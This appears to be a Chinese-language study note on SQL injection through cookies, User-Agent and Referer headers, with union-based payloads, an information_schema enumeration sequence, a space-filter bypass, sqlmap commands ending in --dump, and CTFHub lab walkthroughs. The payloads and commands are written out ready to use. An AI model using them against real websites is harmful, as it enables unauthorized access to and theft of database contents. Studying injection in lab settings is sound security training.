获取cookie可免密登录管理员账户
Cookie通常被用来辨别用户身份,就是保存用户的账号和密码用来自动登录网站
cookie注入的基本条件:使用了request方法,但是注入保护程序中只对get\post方法提交的数据进行了过滤。
一、cookie注入
1.寻找形如".asp?id=xx"类的参数
2.测试参数影响
通过去掉参数测试参数影响,将“id=xx”删掉,看页面是否正常,正常,则说明参数不起作用。反之不正常,说明参数在数据传递中启直接作用
3.测试应用是否用Request(“id”)这种方式获取数据的
清空网址后输入javascript:alert(document.cookie=“id=”+escape(“xx”));
document.cookie:表示当前浏览器中的cookie变量
alert():表示弹出一个对话框
escape():对字符串进行编码
按Enter键后会弹出一个对话框,内容是“id=xx”,然后重新输入原来URL回车,如果显示正常,说明是用Request(“id”)方式获取数据
4.测试判断条件是否可以影响输出
将SQL判断语句带入,并重复第三步
①javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));
②javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));
若①正常,②不正常,则说明存在注入漏洞,并可以进行cookie注入
5.cookie注入
与之前的注入手法一致,可用huckbar的cookie,也可以用bp抓包修改,还可以用sqlmap
补充数字型注入
1判断注入类型
输入?id=1 and 1=1正常且输入?id=1 and 1=2报错的为数字型注入
2.查找字段数
?id=1 order by 1
从1开始直到报错
3.查找回显位
?id=-1 union select 1,2
有几个字段数就写到几
4.爆数据库
?id=-1 union select 1,database()
5.爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'
6.查列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'
7.查内容
?id=-1 union select 1,2,group_concat(列名,列名) from 表名
注:select的数字数量需和表格里列的数量一一对应,否则会报错
二、UA注入
User-Agent是Http协议中的一部分,属于头域的组成部分。
是一种向访问网站提供你所使用的浏览器类型、操作系统、版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。
原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,此时就有可能存在UA 头注入,一般会把数据插入到某张表中,所以可以用报错注入。
判断:输入正确的用户名和密码后回显User-Agent内容,可以判断存在UA注入
使用sqlmap 和 burp的 repeater 模块都可以发现 User-agent中的注入点
可通过sqlmap,bp抓包修改和hackbar的user-agent修改
其余步骤与之前一致
三、refer注入
Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。
Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。 通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。
可通过sqlmap,bp抓包修改和hackbar的user-agent修改
其余步骤与之前一致
四、过滤空格
可用/**/ %0A代替
练习
ctfhub技能树cookie注入
1.手注
在cookie下输入id=1 and 1=1正常回显,输入id=1 and 1=2报错,可判断为数字型
可知字段数为2
查询回显位
库名为sqli
有两个表aqqrdfhifq和news
继续查询aqqrdfhifq发现字段mbzrvfdpir
找到flag
2.sqlmap
查数据库
sqlmap -u "url" --cookie "id=注入点" --level 2 --dbs
查表
sqlmap -u "url" --cookie "id=注入点" --level 2 -D 库名 --tables
查字段名
sqlmap -u "url" --cookie "id=1" --level 2 -D 数据库名 -T 表名 --columns
查内容
sqlmap -u "url" --cookie "id=1" --level 2 -D 数据库名 -T 表名 -C 列名 --dump
ctfhub技能树UA注入
判断为数字型
2个字段
数据库名为sqli
有两个表,分别为 utrlbpsuoj,news
列名为 djcdkppirl
得到flag
ctfhub技能树refer注入
判断为字符型
字段数为2
库名为sqli
有两个表,分别为yxmuoymiou,news
列名为qbugvdbxtj
得到flag
ctfhub技能树过滤空格
数字型注入
字段数为2
库名为sqli
库中含两张表news,nwzbdcvbtu
列名为xsvamtpdui
得到flag